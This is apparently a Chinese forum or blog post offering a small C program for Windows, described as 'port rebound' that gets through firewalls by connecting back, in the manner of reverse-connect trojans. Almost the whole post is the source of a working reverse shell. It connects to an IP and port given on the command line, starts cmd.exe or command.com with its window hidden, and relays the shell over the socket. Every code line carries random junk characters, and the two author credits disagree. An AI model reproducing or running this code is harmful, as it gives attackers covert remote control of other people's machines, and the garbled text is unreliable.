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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7f<EoSK  
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/* ============================== 58%'UwKn  
Rebound port in Windows NT "'^4*o9  
By wind,2006/7 04J}UE]Ww  
===============================*/ .0u/|Yx  
#include E@a3~a  
#include >vrxP8_  
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#pragma comment(lib,"wsock32.lib") } B396X  
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void OutputShell(); )CI1;  
SOCKET sClient; ~9F,%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4E8JT#&  
Xd:7"/:r  
void main(int argc,char **argv) VN4yn| f/  
{ !@u>A_  
WSADATA stWsaData; 30PZ{c&Rll  
int nRet; 1tCQpf  
SOCKADDR_IN stSaiClient,stSaiServer; #B'aU#$u  
+ SZYg[  
if(argc != 3) 5_0(D;Q  
{ 6b8;}],|  
printf("Useage:\n\rRebound DestIP DestPort\n"); C ]Si|D  
return; 6m.k;'  
} ~,D@8tv  
GN#<yv$av  
WSAStartup(MAKEWORD(2,2),&stWsaData); "I;C;}!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >$gG/WD?KR  
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stSaiClient.sin_family = AF_INET; VZ>On$hp  
stSaiClient.sin_port = htons(0); pqvOJ#?Q}=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gIR^ )m  
r _,_5 @0e  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MyJ4><oG  
{ z|G9,:9  
printf("Bind Socket Failed!\n"); $d+DDm1o  
return; j9qREf9)  
} f:zFFpP.j@  
@=w<B4 L  
stSaiServer.sin_family = AF_INET; `=#01YX[0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a m-b!l!q^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 53QfTP  
{^{p,9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QQk{\ PV  
{ U(&oj e  
printf("Connect Error!"); y#Ht{)C  
return; \&V0vN1  
} y AF+bCXo  
OutputShell(); =1h9rlFj"D  
} jO9ip  
q,<[hBri-  
void OutputShell() GwsY-jf  
{ kH*Pn'  
char szBuff[1024]; JXiZB 8}  
SECURITY_ATTRIBUTES stSecurityAttributes; [MX;,%;;  
OSVERSIONINFO stOsversionInfo; I~PDaZP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aI zv  
STARTUPINFO stStartupInfo; DPe]daF  
char *szShell; /9Q3iV$I]  
PROCESS_INFORMATION stProcessInformation; LL!.c  
unsigned long lBytesRead; M_B:{%4  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U5Erm6U:  
+i `*lBup$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TAL/a*7\  
stSecurityAttributes.lpSecurityDescriptor = 0; fkfZ>D^1  
stSecurityAttributes.bInheritHandle = TRUE; -O:_!\uA  
+]>+a<x*%  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p\wJD1s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  (dJI_A  
ocwG7J\W  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t^=U*~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PDx)S7+w[  
stStartupInfo.wShowWindow = SW_HIDE; 0m[dP  
stStartupInfo.hStdInput = hReadPipe; `U!y&Q$,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [{[N(g&d  
[}nK"4T"Ri  
GetVersionEx(&stOsversionInfo); %/"Oxi^G  
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switch(stOsversionInfo.dwPlatformId) &0N<ofYX  
{ 5`^o1nGO'  
case 1: [y) Fc IK}  
szShell = "command.com"; ske@uzAz  
break; :L?_Y/K  
default: 1.@vS&Y7OE  
szShell = "cmd.exe"; \ v@({nB8  
break; KcGsMPJ  
} xtV[p4U  
BJjx|VA+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ClW'W#*(Y  
2)iD4G`  
send(sClient,szMsg,77,0); uE_c4Hp  
while(1) xc 1A$EY  
{ +,'T=Ic{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zbw7U'jk  
if(lBytesRead) ! U0z"  
{ qcB){p+UQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,a|@d} U  
send(sClient,szBuff,lBytesRead,0); hp!d/X=J_  
} iCG`3(xL  
else =?@Q -(bp  
{ khd5 Cf[   
lBytesRead=recv(sClient,szBuff,1024,0); 'aJgLws*w  
if(lBytesRead<=0) break; Lrz3   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  ~m=EM;  
} I\P Bu$Ww  
} 2F_ R/{D  
?v]-^X=&  
return; rp! LP#*  
}
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